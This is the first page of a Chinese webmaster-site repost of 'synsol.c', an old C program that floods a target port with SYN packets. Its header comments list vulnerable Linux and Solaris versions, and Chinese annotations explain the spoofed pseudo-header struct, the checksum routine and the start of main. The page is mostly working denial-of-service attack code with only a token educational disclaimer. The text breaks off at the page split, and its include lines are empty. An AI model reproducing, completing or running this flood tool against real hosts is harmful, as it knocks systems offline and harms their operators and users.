首 页站长学院免费论文实用文书客户留言繁體中文
设为首页
加入收藏
联系我们
您当前的位置:爱上范文网 -> 站长学院 -> 网络安全 -> 其他相关 -> 文章内容 退出登录 用户管理
栏目导航
· 入门知识 · 安全防范
· 防火墙 · 其他相关
热门文章
· [组图] 2006:浏览器进入多元...
· 个人SMTP服务器的配...
· 不可忽视的BIOS参数...
· 趣话电脑病毒19年发...
· 什么是FTP及什么是F...
· [组图] Frontpage2000实务高...
· [图文] 网络协议X档案全集(...
· 局域网优化的六大秘...
· [组图] 新建Photoshop图像
· [组图] 用FrontPage 2000下...
相关文章
一个SYN攻击的源程序
作者:中国站长学院  来源:中国站长学院  发布时间:2005-8-1 12:33:06  发布人:admin

减小字体 增大字体


/* Syn Attack against a port for Solaris */

/* Original land attack, land.c by m3lt, FLC */

/* Ported to 44BSD by blast and jerm */

/* Ported to Solaris by ziro antagonist */

/* Referenced flood.c by unknown author */

/* Converted into a syn attack against one port by CRG */

/* Please use this for educational purposes only */

/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */

/* Additional notes: */

/* Successfully compiled on Solaris 2.51 and 2.6 */

/* Runs: synsol    */

/* */

/* Tested it on: Solaris 2.6 */

/* */

/* Attacked against: */

/* Linux 2.0.33 - vulnerable */

/* Linux 2.0.30 - vulnerable */

/* Linux 1.2.13 - vulnerable */

/* Solaris 2.4 - vulnerable */

/* Solaris 2.5.1 - vulnerable */

/* SunOS 4.1.3_U3 - vulnerable */

/* Solaris 2.6 - not vulnerable */

/* */

/* Most of these test machines are not patched because they */

/* are in test lab. I tested the program against port 23 and */

/* every once in awhile I did get through. */

/* */

/* Direct any comments, questions, improvements to */

/* packetstorm@genocide2600.com */

/* http://www.genocide2600.com/~tattooman/ */

/* Your emails will be forwarded to the author, who wishes */

/* to remain known only as CRG (no email addy or URL) */

/*jjgirl:上面的注释的不用说了!*/

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

/*jjgirl:上面是头文件!*/

 

unsigned long srcport;

 

struct pseudohdr

{

struct in_addr saddr;

struct in_addr daddr;

u_char zero;

u_char protocol;

u_short length;

struct tcphdr tcpheader;

};

/*jjgirl:定义一个伪装地址的结构!*/

 

u_short checksum(u_short * data,u_short length)

{

int nleft = length;

int sum=0;

unsigned short *w = data;

unsigned short value = 0;

 

while (nleft > 1) {

sum += *w++;

nleft -= 2;

}

 

if (nleft == 1) {

*(unsigned char *) (&value) = *(unsigned char *) w;

sum += value;

}

sum = (sum >>16) + (sum & 0xffff);

sum += (sum >> 16);

value = ~sum;

return(value);

}

/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/

 

 

int main(int argc,char * * argv)

{/*jjgirl:主程序开始了!*/

struct sockaddr_in sin;

struct sockaddr_in din;

struct hostent * hoste;

struct hostent * host1;

int j,sock,foo, flooddot=1;

char buffer[40];

struct ip * ipheader=(struct ip *) buffer;

struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));

struct pseudohdr pseudoheader;

/*jjgirl:上面定义变量!*/

 

fprintf(stderr,"Syn attack against one port.(Infinite)\n");

 

if(argc<4)

{

fprintf(stderr,"usage: %s   \n",argv[0]);

return(-1);

}


[1] [2]  下一页

[] [返回上一页] [打 印] [收 藏]
上一篇文章:彻底清查带毒的Cookie
∷相关文章评论∷    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 管理登录
Copyright © 2002-2005 23fw.com. All Rights Reserved .